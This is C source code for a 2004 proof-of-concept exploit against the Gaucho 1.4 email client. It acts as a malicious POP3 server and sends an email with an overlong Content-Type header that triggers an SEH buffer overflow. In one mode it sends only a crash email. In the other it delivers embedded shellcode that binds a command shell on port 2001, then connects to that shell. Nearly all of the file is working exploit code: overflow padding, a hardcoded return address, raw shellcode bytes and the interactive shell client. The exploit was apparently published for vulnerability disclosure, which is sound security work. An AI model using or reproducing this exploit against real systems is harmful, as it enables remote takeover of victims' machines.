//**************************************************************************
// Gaucho Ver 1.4 Mail Client Buffer Overflow Vulnerability
// Bind Shell POC Validation Code for English Win2K SP4
// 10 Aug 2004
//
// Gaucho is an Email client developed by NakedSoft for Microsoft Windows
// platforms. Gaucho supports SMTP, POP3 and other email delivery protocols.
// Gaucho version 1.4 is vulnerable to a buffer overflow when receiving
// malformed emails from a POP3 server. This vulnerability is triggered if the
// POP3 server returns a specially crafted email that has an abnormally long
// string in the Content-Type field of the email header. This string will
// overwrite EIP via SEH, and can be exploited to execute arbitrary code.
//
// This POC code simulates a POP3 server that sends a specially crafted email
// to Gaucho, triggering the overflow and binds shell on port 2001 of a vulnerable
// Gaucho email client.
//
// Tested on Win2K SP4, you must find the address of JMP EDI instruction that
// is suitable for your system.
//
// Advisory
// http://www.security.org.sg/vuln/gaucho140.html
//
// Greetz: snooq, sk, and all guys at SIG^2 (www.security.org.sg);
//
//**************************************************************************

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#pragma comment(lib,"ws2_32.lib")

bool tcpInit()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;

wVersionRequested = MAKEWORD( 2, 0 );

err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
return false;
}

if (LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 0 )
{
WSACleanup();
return false;
}

return true;
}

SOCKET tcpListen(int port)
{
SOCKET sock;

sock = socket(AF_INET, SOCK_STREAM, 0);

if(sock == INVALID_SOCKET)
return sock;

sockaddr_in sin;

sin.sin_addr.s_addr = htonl(INADDR_ANY);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);

if(bind(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf("Error in bind().\n");
closesocket(sock);
return INVALID_SOCKET;
}

if(listen(sock, 5) == SOCKET_ERROR)
{
printf("Error in bind().\n");
closesocket(sock);
return INVALID_SOCKET;
}

return sock;
}

DWORD resolveIP(char *hostName)
{
hostent *hent;
char **addresslist;
DWORD result = 0;

hent = gethostbyname(hostName);
if(hent)
{
addresslist = hent->h_addr_list;

if (*addresslist)
{
result = *((DWORD *)(*addresslist));
}
}

return result;
}

SOCKET tcpConnect(char *host, int port)
{
SOCKET sock;

sock = socket(AF_INET, SOCK_STREAM, 0);

if(sock == INVALID_SOCKET)
return sock;

sockaddr_in sin;

DWORD ip = resolveIP(host);
if(ip == 0)
ip = inet_addr(host);

sin.sin_addr.s_addr = ip;
sin.sin_family = AF_INET;
sin.sin_port = htons(port);

if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf("Connect failed.\n");
closesocket(sock);
return INVALID_SOCKET;
}

return sock;
}

void shell(int sockfd)
{
char buffer[1024];
fd_set rset;
FD_ZERO(&rset);

for(;;)
{
if(kbhit() != 0)
{
fgets(buffer, sizeof(buffer) - 2, stdin);
send(sockfd, buffer, strlen(buffer), 0);
}

FD_ZERO(&rset);
FD_SET(sockfd, &rset);

timeval tv;
tv.tv_sec = 0;
tv.tv_usec = 50;

if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
{
printf("select error\n");
break;
}

if(FD_ISSET(sockfd, &rset))
{
int n;

ZeroMemory(buffer, sizeof(buffer));
if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
{
printf("EOF\n");
exit(0);
}
else
{
fwrite(buffer, 1, n, stdout);
}
}
}
}

#define OK_MSG "+OK POC POP3 server for Gaucho Ver 1.4 Vulnerability ready.\r\n"
#define STAT_REPLY "+OK 1 1\r\n"

char UIDL_REPLY[] =
"1 0123456789012345678901234567890123456789\r\n.\r\n";

unsigned char bindShellEmail[] =
"Date: Mon, 09 Aug 2004 19:44:13 +0800\r\n"
"Subject: Testing\r\n"
"To: a@aaaaaa.xxx\r\n"
"From: XX <xx@xxxxxxxx.xxx.xx>\r\n"
"Message-ID: <GM109205179359A000.b76.xx@xxxxxxxx.xxx.xx>\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: "
"AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG"
"\x37\x55\x62\x76" // overwrites EIP via SEH, address of JMP EDI in MPR.dll
// this address must be carefully chosen due to the filtering that is done
// on the header messages.

"IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG"
"\xEB\x60" // FIRST jmp lands us here, do a SECOND jmp to land onto shellcode
"HHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
";"
"\x90\x90\xEB\x61" // JMP EDI lands here, do the FIRST jmp here to reach the SECOND jmp
"set=US-ASCII\r\n"
"\r\n"
"\x90\x90" // shellcode sent in email body to avoid filtering (bindshell on 2001)
"\xEB\x62\x55\x8B\xEC\x51\x56\x57\x8B\x5D\x08\x8B\x73\x3C\x8B\x74"
"\x33\x78\x03\xF3\x8B\x7E\x20\x03\xFB\x8B\x4E\x18\x56\x33\xD2\x8B"
"\x37\x03\x75\x08\x33\xDB\x33\xC0\xAC\x85\xC0\x74\x09\xC1\xCB\x0C"
"\xD1\xCB\x03\xD8\xEB\xF0\x3B\x5D\x0C\x74\x0B\x83\xC7\x04\x42\xE2"
"\xDE\x5E\x33\xC0\xEB\x17\x5E\x8B\x7E\x24\x03\x7D\x08\x66\x8B\x04"
"\x57\x8B\x7E\x1C\x03\x7D\x08\x8B\x04\x87\x03\x45\x08\x5F\x5E\x59"
"\x8B\xE5\x5D\xC3\x55\x8B\xEC\x33\xC9\xB1\xC8\x2B\xE1\x32\xC0\x8B"
"\xFC\xF3\xAA\xB1\x30\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B"
"\x58\x08\x89\x5D\xFC\x68\x8E\x4E\x0E\xEC\xFF\x75\xFC\xE8\x70\xFF"
"\xFF\xFF\x83\xC4\x08\xBB\xAA\xAA\x6C\x6C\xC1\xEB\x10\x53\x68\x33"
"\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD0\x89\x45\xF8\xEB\x35"
"\x5E\x8D\x7D\xF4\x33\xC9\xB1\x09\xFF\x36\xFF\x75\xFC\xE8\x40\xFF"
"\xFF\xFF\x83\xC4\x08\x85\xC0\x75\x0E\x90\xFF\x36\xFF\x75\xF8\xE8"
"\x2E\xFF\xFF\xFF\x83\xC4\x08\x89\x07\x33\xC0\xB0\x04\x03\xF0\x2B"
"\xF8\xE2\xD5\xEB\x29\xE8\xC6\xFF\xFF\xFF\x72\xFE\xB3\x16\x35\x54"
"\x8A\xA1\xA4\xAD\x2E\xE9\xA4\x1A\x70\xC7\xD9\x09\xF5\xAD\xCB\xED"
"\xFC\x3B\xEF\xCE\xE0\x60\xE7\x79\xC6\x79\xAD\xD9\x05\xCE\x54\x6A"
"\x02\xFF\x55\xE0\x33\xC0\x50\x50\x50\x50\x6A\x01\x6A\x02\xFF\x55"
"\xE4\x89\x45\xD0\x33\xC0\x50\xB8\xFD\xFF\xF8\x2E\x83\xF0\xFF\x50"
"\x8B\xC4\x6A\x10\x50\xFF\x75\xD0\xFF\x55\xE8\x6A\x05\xFF\x75\xD0"
"\xFF\x55\xEC\x85\xC0\x75\x68\x8B\xCC\x6A\x10\x8B\xDC\x33\xC0\x50"
"\x50\x53\x51\xFF\x75\xD0\xFF\x55\xF0\x8B\xD0\x5B\x83\xF0\xFF\x74"
"\x4E\x8B\xFC\x33\xC9\xB1\x64\x33\xC0\xF3\xAA\xC6\x04\x24\x44\x66"
"\xC7\x44\x24\x2C\x01\x01\x89\x54\x24\x38\x89\x54\x24\x3C\x89\x54"
"\x24\x40\x8B\xC4\x8D\x58\x44\xB9\xFF\x63\x6D\x64\xC1\xE9\x08\x51"
"\x8B\xCC\x52\x53\x53\x50\x33\xC0\x50\x50\x50\x6A\x01\x50\x50\x51"
"\x50\xFF\x55\xF4\x5B\x6A\xFF\xFF\x33\xFF\x55\xD4\xFF\x55\xD8\xFF"
"\x75\xD0\xFF\x55\xD8\x50\xFF\x55\xDC"
"\r\n"
".\r\n";

unsigned char pocEmail[] =
"Date: Mon, 09 Aug 2004 19:44:13 +0800\r\n"
"Subject: Testing\r\n"
"To: a@aaaaaa.xxx\r\n"
"From: XX <xx@xxxxxxxx.xxx.xx>\r\n"
"Message-ID: <GM109205179359A000.b76.xx@xxxxxxxx.xxx.xx>\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: "
"AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG"
"HHHH" // overwrites EIP via SEH
"IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"AAAABBBBCCCCDDDDEEEEFFFFGGGGDHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
"; charset=US-ASCII\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"X-Mailer: Gaucho Version 1.4.0 Build 145\r\n"
"\r\n"
"Testing\r\n"
"\r\n"
".\r\n";

void genUIDLreply(char *ptr)
{
srand(GetTickCount());
for(int i = 2; i < 42; i++)
{
ptr[i] = (rand() % 94) + 0x21;
}
}

void printUsage(char *filename)
{
printf("\nUsage: %s <mode>\n\n", filename);
printf(" Mode can be:\n");
printf(" 1 - POC Crash\n"
" 2 - Bindshell on Port 2001 (JMP EDI address is hardcoded for Win2K SP4)\n\n");
}

int main(int argc, char* argv[])
{
printf("Proof-of-Concept POP3 server for Gaucho Ver 1.4 Vulnerability\n");
if(argc != 2)
{
printUsage(argv[0]);
return 1;
}

int mode = atoi(argv[1]);
if(mode != 1 && mode != 2)
{
printf("\nINVALID MODE!\n");
printUsage(argv[0]);
return 1;
}

if(!tcpInit())
{
printf("Cannot start Winsock!\n");
return 1;
}
SOCKET s = tcpListen(110);
if(s == INVALID_SOCKET)
{
printf("Cannot create listening socket!\n");
return 1;
}
printf("Listening on POP3 port 110...\n");

struct sockaddr_in sin;
int sin_size = sizeof(sin);
SOCKET client = WSAAccept(s, (SOCKADDR *)&sin, &sin_size, NULL, 0);
char buffer[1024];
int recvSize;

if(client != INVALID_SOCKET)
{
// POP3 banner
send(client, OK_MSG, strlen(OK_MSG), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;

fwrite(buffer, recvSize, 1, stdout);

// OK to USER
send(client, OK_MSG, strlen(OK_MSG), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;

fwrite(buffer, recvSize, 1, stdout);

// OK to PASS
send(client, OK_MSG, strlen(OK_MSG), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;

fwrite(buffer, recvSize, 1, stdout);

// REPLY to STAT
send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;

fwrite(buffer, recvSize, 1, stdout);

// REPLY to UIDL
genUIDLreply(UIDL_REPLY);
send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
send(client, UIDL_REPLY, strlen(UIDL_REPLY), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;

fwrite(buffer, recvSize, 1, stdout);

// REPLY to LIST
send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;

fwrite(buffer, recvSize, 1, stdout);

if(mode == 1)
{
// send malicious email
send(client, (char *)pocEmail, strlen((char *)pocEmail), 0);
printf("POC crash email sent...\n");

recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;

fwrite(buffer, recvSize, 1, stdout);
}
else
{
// send malicious email
send(client, (char *)bindShellEmail, strlen((char *)bindShellEmail), 0);
printf("Bindshell email sent. Sleeping for 2 seconds...\n");
Sleep(2000);

//================================= Connect to the target ==============================
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET)
{
printf("Invalid socket return in socket() call.\n");
WSACleanup();
return -1;
}

sin.sin_family = AF_INET;
sin.sin_port = htons(2001);

if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf("Exploit Failed. SOCKET_ERROR return in connect call.\n");
closesocket(sock);
WSACleanup();
return -1;
}

printf("\n");
shell(sock);
}
}